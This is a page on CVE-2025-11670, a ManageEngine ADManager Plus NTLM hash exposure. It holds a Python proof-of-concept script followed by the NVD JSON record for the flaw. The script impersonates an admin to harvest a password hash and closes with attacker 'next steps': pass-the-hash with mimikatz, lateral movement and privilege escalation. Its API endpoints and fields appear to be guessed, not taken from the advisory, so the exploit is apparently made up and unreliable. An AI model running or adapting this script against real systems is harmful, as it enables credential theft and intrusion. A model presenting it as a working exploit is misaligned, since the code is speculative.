CVE-2025-11670

# CVE-2025-11670 PoC - ManageEngine ADManager Plus NTLM Hash Exposure # Note: This is a conceptual PoC for educational and security testing purposes only # Ensure you have explicit authorization before testing any system import requests import json import base64 import re TARGET_HOST = "https://admanager.example.com" LOGIN_URL = f"{TARGET_HOST}/api/v1/login" IMPERSONATE_API = f"{TARGET_HOST}/api/v1/admin/impersonate" def exploit_cve_2025_11670(): """ Exploit for CVE-2025-11670: ManageEngine ADManager Plus NTLM Hash Exposure Requires a technician account with 'Impersonate as Admin' privilege enabled """ # Step 1: Authenticate with technician account credentials = { "username": "technician_user", "password": "technician_password", "domain": "YOUR_DOMAIN" } session = requests.Session() login_response = session.post(LOGIN_URL, json=credentials, verify=False) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return None print("[+] Successfully authenticated as technician") # Step 2: Trigger impersonation to expose NTLM hash # Target an admin account for impersonation impersonate_data = { "targetUser": "admin_user", "targetDomain": "YOUR_DOMAIN", "operation": "getUserDetails" } # Step 3: Capture response containing NTLM hash exploit_response = session.post(IMPERSONATE_API, json=impersonate_data, verify=False) if exploit_response.status_code == 200: response_data = exploit_response.json() # Look for NTLM hash in various response fields ntlm_hash = None for key, value in response_data.items(): if isinstance(value, str) and len(value) == 32: # Check for potential NTLM hash format if re.match(r'^[a-f0-9]{32}$', value): ntlm_hash = value print(f"[+] Potential NTLM hash found in field '{key}': {ntlm_hash}") break if ntlm_hash: print("[+] NTLM hash successfully extracted!") print(f"[+] Hash can be used for Pass-the-Hash attacks") return ntlm_hash else: print(f"[-] Exploitation failed: {exploit_response.status_code}") return None if __name__ == "__main__": print("CVE-2025-11670 PoC - NTLM Hash Exposure in ManageEngine ADManager Plus") print("=" * 70) ntlm_hash = exploit_cve_2025_11670() if ntlm_hash: print(f"\n[SUCCESS] Extracted NTLM hash: {ntlm_hash}") print("\nNext steps for attacker:") print("1. Use tools like mimikatz for Pass-the-Hash") print("2. Attempt lateral movement to other systems") print("3. Escalate privileges using harvested credentials")

{"cve": {"id": "CVE-2025-11670", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-12-15T11:15:38.607", "lastModified": "2025-12-18T01:51:54.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine ADManager Plus versions before 8025 are vulnerable to NTLM Hash Exposure. \nThis vulnerability is exploitable only by technicians who have the “Impersonate as Admin” option enabled."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0", "matchCriteriaId": "35D63C02-129E-43A5-AB58-E2246679811B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8000:*:*:*:*:*:*", "matchCriteriaId": "4C4EF8A9-A448-48F7-9FEC-33580DE461C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8001:*:*:*:*:*:*", "matchCriteriaId": "EA01C510-9E1D-4F00-9D65-6305A69E533E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8002:*:*:*:*:*:*", "matchCriteriaId": "629EAF0E-6444-4E3A-AE0B-A00382ED951D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8010:*:*:*:*:*:*", "matchCriteriaId": "48B2B35E-9D79-4515-B0F9-260D71D45756"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8011:*:*:*:*:*:*", "matchCriteriaId": "3EE35042-E248-41D7-AD60-123EB1C459FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8012:*:*:*:*:*:*", "matchCriteriaId": "519D71D4-1905-4FDA-9F46-F3152B84D633"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8020:*:*:*:*:*:*", "matchCriteriaId": "4DE86032-9A43-45C3-8FEC-5C069C7AE793"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8021:*:*:*:*:*:*", "matchCriteriaId": "7276041D-D6A3-4164-849C-855765D5FF10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8022:*:*:*:*:*:*", "matchCriteriaId": "009F7D2E-D2DF-4B54-B48B-CF720E41153C"}]}]}], "references": [{"url": "https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2025-11670.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}